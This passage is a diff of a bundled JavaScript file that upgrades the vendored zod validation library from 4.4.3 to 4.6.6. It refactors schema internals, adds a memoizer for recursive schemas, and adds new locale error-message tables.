@__PURE__ */ $constructor("$ZodNullable", (inst, def) => { }); var $ZodDefault = /* @__PURE__ */ $constructor("$ZodDefault", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.optin = "defaulted"; + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -50765,8 +51414,8 @@ function handleDefaultResult(payload, def) { } var $ZodPrefault = /* @__PURE__ */ $constructor("$ZodPrefault", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.optin = "defaulted"; + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -50779,8 +51428,8 @@ var $ZodPrefault = /* @__PURE__ */ $constructor("$ZodPrefault", (inst, def) => { }); var $ZodNonOptional = /* @__PURE__ */ $constructor("$ZodNonOptional", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => { - const v = def.innerType._zod.values; + defineLazyInternal(inst, "values", (zod) => { + const v = zod.def.innerType._zod.values; return v ? new Set([...v].filter((x) => x !== void 0)) : void 0; }); inst._zod.parse = (payload, ctx) => { @@ -50819,46 +51468,37 @@ var $ZodSuccess = /* @__PURE__ */ $constructor("$ZodSuccess", (inst, def) => { return payload; }; }); +function handleCatchResult(payload, result, def, ctx) { + if (!result.issues.length) { + payload.value = result.value; + if (result.memo) + payload.memo = true; + return payload; + } + payload.value = def.catchValue({ + ...result, + value: payload.value, + error: { + issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) + }, + input: payload.value + }); + return payload; +} var $ZodCatch = /* @__PURE__ */ $constructor("$ZodCatch", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "optout", () => def.innerType._zod.optout); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin === "defaulted" ? "defaulted" : "optional"); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType._zod.optout); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); } - const result = def.innerType._zod.run(payload, ctx); + const result = def.innerType._zod.run({ value: payload.value, issues: [] }, ctx); if (result instanceof Promise) { - return result.then((result2) => { - payload.value = result2.value; - if (result2.issues.length) { - payload.value = def.catchValue({ - ...payload, - error: { - issues: result2.issues.map((iss) => finalizeIssue(iss, ctx, config())) - }, - input: payload.value - }); - payload.issues = []; - payload.fallback = true; - } - return payload; - }); - } - payload.value = result.value; - if (result.issues.length) { - payload.value = def.catchValue({ - ...payload, - error: { - issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) - }, - input: payload.value - }); - payload.issues = []; - payload.fallback = true; + return result.then((result2) => handleCatchResult(payload, result2, def, ctx)); } - return payload; + return handleCatchResult(payload, result, def, ctx); }; }); var $ZodNaN = /* @__PURE__ */ $constructor("$ZodNaN", (inst, def) => { @@ -50878,10 +51518,10 @@ var $ZodNaN = /* @__PURE__ */ $constructor("$ZodNaN", (inst, def) => { }); var $ZodPipe = /* @__PURE__ */ $constructor("$ZodPipe", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => def.in._zod.values); - defineLazy(inst._zod, "optin", () => def.in._zod.optin); - defineLazy(inst._zod, "optout", () => def.out._zod.optout); - defineLazy(inst._zod, "propValues", () => def.in._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.in._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.in._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.out._zod.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.in._zod.propValues); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { const right = def.out._zod.run(payload, ctx); @@ -50898,18 +51538,18 @@ var $ZodPipe = /* @__PURE__ */ $constructor("$ZodPipe", (inst, def) => { }; }); function handlePipeResult(left, next, ctx) { - if (left.issues.length) { + if (left.issues.some((iss) => iss.code !== "unrecognized_keys")) { left.aborted = true; return left; } - return next._zod.run({ value: left.value, issues: left.issues, fallback: left.fallback }, ctx); + return next._zod.run({ value: left.value, issues: left.issues }, ctx); } var $ZodCodec = /* @__PURE__ */ $constructor("$ZodCodec", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => def.in._zod.values); - defineLazy(inst._zod, "optin", () => def.in._zod.optin); - defineLazy(inst._zod, "optout", () => def.out._zod.optout); - defineLazy(inst._zod, "propValues", () => def.in._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.in._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.in._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.out._zod.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.in._zod.propValues); inst._zod.parse = (payload, ctx) => { const direction = ctx.direction || "forward"; if (direction === "forward") { @@ -50959,10 +51599,10 @@ var $ZodPreprocess = /* @__PURE__ */ $constructor("$ZodPreprocess", (inst, def) }); var $ZodReadonly = /* @__PURE__ */ $constructor("$ZodReadonly", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "propValues", () => def.innerType._zod.propValues); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); - defineLazy(inst._zod, "optin", () => def.innerType?._zod?.optin); - defineLazy(inst._zod, "optout", () => def.innerType?._zod?.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.innerType._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType?._zod?.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType?._zod?.optout); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -50975,23 +51615,66 @@ var $ZodReadonly = /* @__PURE__ */ $constructor("$ZodReadonly", (inst, def) => { }; }); function handleReadonlyResult(payload) { - payload.value = Object.freeze(payload.value); + if (!payload.memo) + payload.value = Object.freeze(payload.value); return payload; } +function leafPattern(schema) { + const def = schema._zod.def; + let pattern = def.pattern; + let isInt = !!def.format?.includes("int"); + let minimum; + let maximum; + for (const ch of def.checks ?? []) { + const d = ch._zod.def; + if (d.pattern) + pattern = d.pattern; + isInt || (isInt = !!d.format?.includes("int")); + const lo = d.minimum ?? d.length; + const hi = d.maximum ?? d.length; + if (lo !== void 0 && (minimum === void 0 || lo > minimum)) + minimum = lo; + if (hi !== void 0 && (maximum === void 0 || hi < maximum)) + maximum = hi; + } + if (pattern) + return pattern.source; + if (minimum !== void 0 && maximum !== void 0 && minimum > maximum) + return "(?!)"; + if (minimum !== void 0 || maximum !== void 0) + return string({ minimum, maximum }).source; + const own2 = schema._zod.pattern; + return (isInt && own2 === number ? integer : own2)?.source; +} +function partPattern(schema) { + const def = schema._zod.def; + const own2 = schema._zod.pattern?.source; + const inner = def.innerType ?? schema._zod.innerType; + if (inner) { + const before = inner._zod.pattern?.source; + const after = partPattern(inner); + if (own2 && before && after && after !== before) { + return own2.replace(cleanRegex(before), () => cleanRegex(after)); + } + return own2; + } + if (def.options) { + const sources = def.options.map(partPattern); + if (sources.every(Boolean)) + return `^(${sources.map((s) => cleanRegex(s)).join("|")})$`; + } + return leafPattern(schema); +} var $ZodTemplateLiteral = /* @__PURE__ */ $constructor("$ZodTemplateLiteral", (inst, def) => { $ZodType.init(inst, def); const regexParts = []; for (const part of def.parts) { if (typeof part === "object" && part !== null) { - if (!part._zod.pattern) { + const source = partPattern(part); + if (!source) { throw new Error(`Invalid template literal part, no pattern found: ${[...part._zod.traits].shift()}`); } - const source = part._zod.pattern instanceof RegExp ? part._zod.pattern.source : part._zod.pattern; - if (!source) - throw new Error(`Invalid template literal part: ${part._zod.traits}`); - const start = source.startsWith("^") ? 1 : 0; - const end = source.endsWith("$") ? source.length - 1 : source.length; - regexParts.push(source.slice(start, end)); + regexParts.push(cleanRegex(source)); } else if (part === null || primitiveTypes.has(typeof part)) { regexParts.push(escapeRegex(`${part}`)); } else { @@ -51025,33 +51708,33 @@ var $ZodTemplateLiteral = /* @__PURE__ */ $constructor("$ZodTemplateLiteral", (i }); var $ZodFunction = /* @__PURE__ */ $constructor("$ZodFunction", (inst, def) => { $ZodType.init(inst, def); - inst._def = def; + Object.defineProperty(inst, "_def", { value: def }); inst._zod.def = def; inst.implement = (func) => { if (typeof func !== "function") { throw new Error("implement() must be called with a function"); } - return function(...args) { + return Object.defineProperty(function(...args) { const parsedArgs = inst._def.input ? parse(inst._def.input, args) : args; const result = Reflect.apply(func, this, parsedArgs); if (inst._def.output) { return parse(inst._def.output, result); } return result; - }; + }, "_zod", { value: inst._zod, enumerable: false }); }; inst.implementAsync = (func) => { if (typeof func !== "function") { throw new Error("implementAsync() must be called with a function"); } - return async function(...args) { + return Object.defineProperty(async function(...args) { const parsedArgs = inst._def.input ? await parseAsync(inst._def.input, args) : args; const result = await Reflect.apply(func, this, parsedArgs); if (inst._def.output) { return await parseAsync(inst._def.output, result); } return result; - }; + }, "_zod", { value: inst._zod, enumerable: false }); }; inst._zod.parse = (payload, _ctx) => { if (typeof payload.value !== "function") { @@ -51090,12 +51773,12 @@ var $ZodFunction = /* @__PURE__ */ $constructor("$ZodFunction", (inst, def) => { output: inst._def.output }); }; - inst.output = (output) => { + inst.output = (output2) => { const F = inst.constructor; return new F({ type: "function", input: inst._def.input, - output + output: output2 }); }; return inst; @@ -51114,10 +51797,10 @@ var $ZodLazy = /* @__PURE__ */ $constructor("$ZodLazy", (inst, def) => { d._cachedInner = def.getter(); return d._cachedInner; }); - defineLazy(inst._zod, "pattern", () => inst._zod.innerType?._zod?.pattern); - defineLazy(inst._zod, "propValues", () => inst._zod.innerType?._zod?.propValues); - defineLazy(inst._zod, "optin", () => inst._zod.innerType?._zod?.optin ?? void 0); - defineLazy(inst._zod, "optout", () => inst._zod.innerType?._zod?.optout ?? void 0); + defineLazyInternal(inst, "pattern", (zod) => zod.innerType?._zod?.pattern); + defineLazyInternal(inst, "propValues", (zod) => zod.innerType?._zod?.propValues); + defineLazyInternal(inst, "optin", (zod) => zod.innerType?._zod?.optin ?? void 0); + defineLazyInternal(inst, "optout", (zod) => zod.innerType?._zod?.optout ?? void 0); inst._zod.parse = (payload, ctx) => { const inner = inst._zod.innerType; return inner._zod.run(payload, ctx); @@ -51130,20 +51813,20 @@ var $ZodCustom = /* @__PURE__ */ $constructor("$ZodCustom", (inst, def) => { return payload; }; inst._zod.check = (payload) => { - const input = payload.value; - const r = def.fn(input); + const input2 = payload.value; + const r = def.fn(input2); if (r instanceof Promise) { - return r.then((r2) => handleRefineResult(r2, payload, input, inst)); + return r.then((r2) => handleRefineResult(r2, payload, input2, inst)); } - handleRefineResult(r, payload, input, inst); + handleRefineResult(r, payload, input2, inst); return; }; }); -function handleRefineResult(result, payload, input, inst) { +function handleRefineResult(result, payload, input2, inst) { if (!result) { const _iss = { code: "custom", - input, + input: input2, inst, // incorporates params.error into issue reporting path: [...inst._zod.def.path ?? []], @@ -51157,14 +51840,293 @@ function handleRefineResult(result, payload, input, inst) { } } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/index.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/memoizer.js +var $ZodCyclicError = class extends Error { + constructor() { + super(`Cannot parse a reference cycle that closes through a transform`); + this.name = "ZodCyclicError"; + } +}; +var STATE = "~memo"; +var NO_ISSUES = []; +function isRef(value) { + return value !== null && typeof value === "object"; +} +function cloneIssues(issues) { + return issues.map((iss) => iss.path ? { ...iss, path: iss.path.slice() } : { ...iss }); +} +var recursive = /* @__PURE__ */ new WeakMap(); +var NONE = 0; +var ASSUMED = 1; +var PROVEN = 2; +function isRecursive(inst, stack, resolve) { + const cached2 = recursive.get(inst); + if (cached2 !== void 0) + return cached2 ? PROVEN : NONE; + if (stack.has(inst)) + return PROVEN; + stack.add(inst); + let result = NONE; + const check3 = (child) => { + if (result !== PROVEN && child?._zod) { + const answer = isRecursive(child, stack, resolve); + if (answer > result) + result = answer; + } + }; + const shape = (sh, spread) => { + let answer = NONE; + for (const key of Reflect.ownKeys(sh)) { + const desc2 = Object.getOwnPropertyDescriptor(sh, key); + if (spread && !desc2.enumerable) + continue; + const child = desc2.get ? ASSUMED : desc2.value?._zod ? isRecursive(desc2.value, stack, resolve) : NONE; + if (child > answer) + answer = child; + } + return answer; + }; + const merge2 = (answer) => { + if (answer > result) + result = answer; + }; + const def = inst._zod.def; + const kind = def.type; + switch (kind) { + case "object": { + const raw = rawShape(def); + merge2(raw ? shape(raw, true) : ASSUMED); + check3(def.catchall); + break; + } + case "array": + check3(def.element); + break; + case "tuple": + for (const el of def.items) + check3(el); + check3(def.rest); + break; + case "record": + case "map": + check3(def.keyType); + check3(def.valueType); + break; + case "set": + check3(def.valueType); + break; + case "union": + for (const el of def.options) + check3(el); + break; + case "intersection": + check3(def.left); + check3(def.right); + break; + case "optional": + case "nullable": + case "default": + case "prefault": + case "catch": + case "readonly": + case "nonoptional": + case "promise": + case "success": + check3(def.innerType); + break; + case "pipe": + check3(def.in); + check3(def.out); + break; + case "function": + check3(def.input); + check3(def.output); + break; + // `$ZodLazy` caches its inner on the def, so a resolved edge is followed exactly + case "lazy": { + const inner = def._cachedInner ?? (resolve ? inst._zod.innerType : void 0); + merge2(inner ? isRecursive(inner, stack, false) : ASSUMED); + break; + } + // a leaf by choice: `parts` are regex fragments, not data positions + case "template_literal": + // leaves + case "string": + case "number": + case "int": + case "boolean": + case "bigint": + case "symbol": + case "undefined": + case "null": + case "void": + case "never": + case "any": + case "unknown": + case "date": + case "nan": + case "enum": + case "literal": + case "file": + case "transform": + case "custom": + break; + default: { + kind; + for (const key in def) { + const desc2 = Object.getOwnPropertyDescriptor(def, key); + if (!desc2 || desc2.get) + continue; + const value = desc2.value; + if (!value || typeof value !== "object") + continue; + if (value._zod) + check3(value); + else if (Array.isArray(value)) + for (const el of value) + check3(el); + } + } + } + stack.delete(inst); + return settle(inst, result); +} +function settle(inst, answer) { + if (answer !== ASSUMED) + recursive.set(inst, answer === PROVEN); + return answer; +} +function isRecursiveSchema(inst) { + return isRecursive(inst, /* @__PURE__ */ new Set(), true) !== NONE; +} +function bucketFor(state, inst) { + let bucket = state.buckets.get(inst); + if (!bucket) { + bucket = /* @__PURE__ */ new WeakMap(); + state.buckets.set(inst, bucket); + } + return bucket; +} +var handoff; +var open = []; +var memo = { + alloc(_inst, payload, empty) { + const bucket = handoff; + if (!bucket) + return empty; + handoff = void 0; + const entry = { value: empty, issues: null }; + bucket.set(payload.value, entry); + open.push(entry); + return empty; + }, + guard(inst) { + var _a3; + (_a3 = inst._zod).deferred ?? (_a3.deferred = []); + inst._zod.deferred.push(() => { + const base = inst._zod.parse; + const wrapped = (payload, ctx) => { + if (ctx.direction !== "backward" && isBackEdge(ctx, payload.value)) + throw new $ZodCyclicError(); + return base(payload, ctx); + }; + inst._zod.parse = wrapped; + if (inst._zod.run === base) + inst._zod.run = wrapped; + }); + }, + attach(inst) { + var _a3; + let isRecursiveInst; + let rechecked = false; + let lastCtx; + let lastBucket; + (_a3 = inst._zod).deferred ?? (_a3.deferred = []); + inst._zod.deferred.push(() => { + const base = inst._zod.parse; + const wrapped = (payload, ctx) => { + if (isRecursiveInst === void 0) { + const walked = isRecursive(inst, /* @__PURE__ */ new Set(), false); + if (walked === NONE) { + inst._zod.parse = base; + if (inst._zod.run === wrapped) + inst._zod.run = base; + return base(payload, ctx); + } + if (walked === PROVEN || rechecked) + isRecursiveInst = true; + else + rechecked = true; + } + const input2 = payload.value; + if (!isRef(input2)) + return base(payload, ctx); + let state = ctx[STATE]; + if (!state) { + state = { buckets: /* @__PURE__ */ new WeakMap(), backEdges: void 0 }; + ctx[STATE] = state; + } + let bucket; + if (lastCtx === ctx) { + bucket = lastBucket; + } else { + bucket = bucketFor(state, inst); + lastCtx = ctx; + lastBucket = bucket; + } + const hit = bucket.get(input2); + if (hit) { + payload.value = hit.value; + if (hit.issues) { + if (hit.issues.length) + payload.issues.push(...cloneIssues(hit.issues)); + } else { + payload.memo = true; + state.backEdges ?? (state.backEdges = /* @__PURE__ */ new WeakSet()); + state.backEdges.add(hit.value); + } + return payload; + } + handoff = bucket; + const depth = open.length; + const result = base(payload, ctx); + handoff = void 0; + const entry = open.length > depth ? open.pop() : void 0; + if (result instanceof Promise) { + return result.then((r) => { + if (entry) + entry.issues = r.issues.length ? cloneIssues(r.issues) : NO_ISSUES; + return r; + }); + } + if (entry) + entry.issues = result.issues.length ? cloneIssues(result.issues) : NO_ISSUES; + return result; + }; + inst._zod.parse = wrapped; + if (inst._zod.run === base) + inst._zod.run = wrapped; + }); + } +}; +function memoizer() { + return memo; +} +function isBackEdge(ctx, value) { + const backEdges = ctx[STATE]?.backEdges; + return backEdges !== void 0 && isRef(value) && backEdges.has(value); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/index.js var locales_exports = {}; __export(locales_exports, { ar: () => ar_default, az: () => az_default, be: () => be_default, bg: () => bg_default, + bn: () => bn_default, ca: () => ca_default, + ckb: () => ckb_default, cs: () => cs_default, da: () => da_default, de: () => de_default, @@ -51176,7 +52138,9 @@ __export(locales_exports, { fi: () => fi_default, fr: () => fr_default, frCA: () => fr_CA_default, + gu: () => gu_default, he: () => he_default, + hi: () => hi_default, hr: () => hr_default, hu: () => hu_default, hy: () => hy_default, @@ -51187,22 +52151,29 @@ __export(locales_exports, { ka: () => ka_default, kh: () => kh_default, km: () => km_default, + kn: () => kn_default, ko: () => ko_default, lt: () => lt_default, mk: () => mk_default, ms: () => ms_default, + ne: () => ne_default, nl: () => nl_default, + nn: () => nn_default, no: () => no_default, ota: () => ota_default, pl: () => pl_default, ps: () => ps_default, pt: () => pt_default, + ptBR: () => pt_BR_default, ro: () => ro_default, ru: () => ru_default, + sk: () => sk_default, sl: () => sl_default, sv: () => sv_default, ta: () => ta_default, + tg: () => tg_default, th: () => th_default, + tk: () => tk_default, tr: () => tr_default, ua: () => ua_default, uk: () => uk_default, @@ -51214,13 +52185,14 @@ __export(locales_exports, { zhTW: () => zh_TW_default }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ar.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ar.js var error = () => { const Sizable = { string: { unit: "\u062D\u0631\u0641", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, file: { unit: "\u0628\u0627\u064A\u062A", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, array: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, - set: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" } + set: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, + map: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -51246,12 +52218,16 @@ var error = () => { duration: "\u0645\u062F\u0629 \u0628\u0645\u0639\u064A\u0627\u0631 ISO", ipv4: "\u0639\u0646\u0648\u0627\u0646 IPv4", ipv6: "\u0639\u0646\u0648\u0627\u0646 IPv6", + mac: "\u0639\u0646\u0648\u0627\u0646 MAC", cidrv4: "\u0645\u062F\u0649 \u0639\u0646\u0627\u0648\u064A\u0646 \u0628\u0635\u064A\u063A\u0629 IPv4", cidrv6: "\u0645\u062F\u0649 \u0639\u0646\u0627\u0648\u064A\u0646 \u0628\u0635\u064A\u063A\u0629 IPv6", base64: "\u0646\u064E\u0635 \u0628\u062A\u0631\u0645\u064A\u0632 base64-encoded", base64url: "\u0646\u064E\u0635 \u0628\u062A\u0631\u0645\u064A\u0632 base64url-encoded", json_string: "\u0646\u064E\u0635 \u0639\u0644\u0649 \u0647\u064A\u0626\u0629 JSON", e164: "\u0631\u0642\u0645 \u0647\u0627\u062A\u0641 \u0628\u0645\u0639\u064A\u0627\u0631 E.164", + credit_card: "\u0631\u0642\u0645 \u0628\u0637\u0627\u0642\u0629 \u0627\u0644\u0627\u0626\u062A\u0645\u0627\u0646", + currency_code: "\u0631\u0645\u0632 \u0627\u0644\u0639\u0645\u0644\u0629", + iban: "IBAN", jwt: "JWT", template_literal: "\u0645\u062F\u062E\u0644" }; @@ -51321,13 +52297,14 @@ function ar_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/az.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/az.js var error2 = () => { const Sizable = { string: { unit: "simvol", verb: "olmal\u0131d\u0131r" }, file: { unit: "bayt", verb: "olmal\u0131d\u0131r" }, array: { unit: "element", verb: "olmal\u0131d\u0131r" }, - set: { unit: "element", verb: "olmal\u0131d\u0131r" } + set: { unit: "element", verb: "olmal\u0131d\u0131r" }, + map: { unit: "element", verb: "olmal\u0131d\u0131r" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -51353,12 +52330,16 @@ var error2 = () => { duration: "ISO duration", ipv4: "IPv4 address", ipv6: "IPv6 address", + mac: "MAC address", cidrv4: "IPv4 range", cidrv6: "IPv6 range", base64: "base64-encoded string", base64url: "base64url-encoded string", json_string: "JSON string", e164: "E.164 number", + credit_card: "kredit kart\u0131 n\xF6mr\u0259si", + currency_code: "valyuta kodu", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -51427,7 +52408,7 @@ function az_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/be.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/be.js function getBelarusianPlural(count, one, few, many) { const absCount = Math.abs(count); const lastDigit = absCount % 10; @@ -51469,6 +52450,14 @@ var error3 = () => { }, verb: "\u043C\u0435\u0446\u044C" }, + map: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u044B", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430\u045E" + }, + verb: "\u043C\u0435\u0446\u044C" + }, file: { unit: { one: "\u0431\u0430\u0439\u0442", @@ -51502,12 +52491,16 @@ var error3 = () => { duration: "ISO \u043F\u0440\u0430\u0446\u044F\u0433\u043B\u0430\u0441\u0446\u044C", ipv4: "IPv4 \u0430\u0434\u0440\u0430\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0430\u0441", + mac: "MAC \u0430\u0434\u0440\u0430\u0441", cidrv4: "IPv4 \u0434\u044B\u044F\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u044B\u044F\u043F\u0430\u0437\u043E\u043D", base64: "\u0440\u0430\u0434\u043E\u043A \u0443 \u0444\u0430\u0440\u043C\u0430\u0446\u0435 base64", base64url: "\u0440\u0430\u0434\u043E\u043A \u0443 \u0444\u0430\u0440\u043C\u0430\u0446\u0435 base64url", json_string: "JSON \u0440\u0430\u0434\u043E\u043A", e164: "\u043D\u0443\u043C\u0430\u0440 E.164", + credit_card: "\u043D\u0443\u043C\u0430\u0440 \u043A\u0440\u044D\u0434\u044B\u0442\u043D\u0430\u0439 \u043A\u0430\u0440\u0442\u044B", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u044B", + iban: "IBAN", jwt: "JWT", template_literal: "\u0443\u0432\u043E\u0434" }; @@ -51584,13 +52577,14 @@ function be_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/bg.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/bg.js var error4 = () => { const Sizable = { string: { unit: "\u0441\u0438\u043C\u0432\u043E\u043B\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, file: { unit: "\u0431\u0430\u0439\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, array: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, - set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" } + set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, + map: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -51616,12 +52610,16 @@ var error4 = () => { duration: "ISO \u043F\u0440\u043E\u0434\u044A\u043B\u0436\u0438\u0442\u0435\u043B\u043D\u043E\u0441\u0442", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441", + mac: "MAC \u0430\u0434\u0440\u0435\u0441", cidrv4: "IPv4 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", base64: "base64-\u043A\u043E\u0434\u0438\u0440\u0430\u043D \u043D\u0438\u0437", base64url: "base64url-\u043A\u043E\u0434\u0438\u0440\u0430\u043D \u043D\u0438\u0437", json_string: "JSON \u043D\u0438\u0437", e164: "E.164 \u043D\u043E\u043C\u0435\u0440", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043D\u0430 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u0430 \u043A\u0430\u0440\u0442\u0430", + currency_code: "\u043A\u043E\u0434 \u043D\u0430 \u0432\u0430\u043B\u0443\u0442\u0430", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0445\u043E\u0434" }; @@ -51705,13 +52703,128 @@ function bg_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ca.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/bn.js var error5 = () => { + const Sizable = { + string: { unit: "\u0985\u0995\u09CD\u09B7\u09B0", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + file: { unit: "\u09AC\u09BE\u0987\u099F", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + array: { unit: "\u0986\u0987\u099F\u09C7\u09AE", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + set: { unit: "\u0986\u0987\u099F\u09C7\u09AE", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + map: { unit: "\u098F\u09A8\u09CD\u099F\u09CD\u09B0\u09BF", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0987\u09A8\u09AA\u09C1\u099F", + email: "\u0987\u09AE\u09C7\u0987\u09B2 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + url: "URL", + emoji: "\u0987\u09AE\u09CB\u099C\u09BF", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u09A4\u09BE\u09B0\u09BF\u0996 \u0993 \u09B8\u09AE\u09AF\u09BC", + date: "ISO \u09A4\u09BE\u09B0\u09BF\u0996", + time: "ISO \u09B8\u09AE\u09AF\u09BC", + duration: "ISO \u09B8\u09AE\u09AF\u09BC\u0995\u09BE\u09B2", + ipv4: "IPv4 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + ipv6: "IPv6 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + mac: "MAC \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + cidrv4: "IPv4 \u09B0\u09C7\u099E\u09CD\u099C", + cidrv6: "IPv6 \u09B0\u09C7\u099E\u09CD\u099C", + base64: "base64-\u098F\u09A8\u0995\u09CB\u09A1\u09C7\u09A1 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + base64url: "base64url-\u098F\u09A8\u0995\u09CB\u09A1\u09C7\u09A1 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + json_string: "JSON \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + e164: "E.164 \u09A8\u09AE\u09CD\u09AC\u09B0", + credit_card: "\u0995\u09CD\u09B0\u09C7\u09A1\u09BF\u099F \u0995\u09BE\u09B0\u09CD\u09A1 \u09A8\u09AE\u09CD\u09AC\u09B0", + currency_code: "\u09AE\u09C1\u09A6\u09CD\u09B0\u09BE \u0995\u09CB\u09A1", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0987\u09A8\u09AA\u09C1\u099F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? 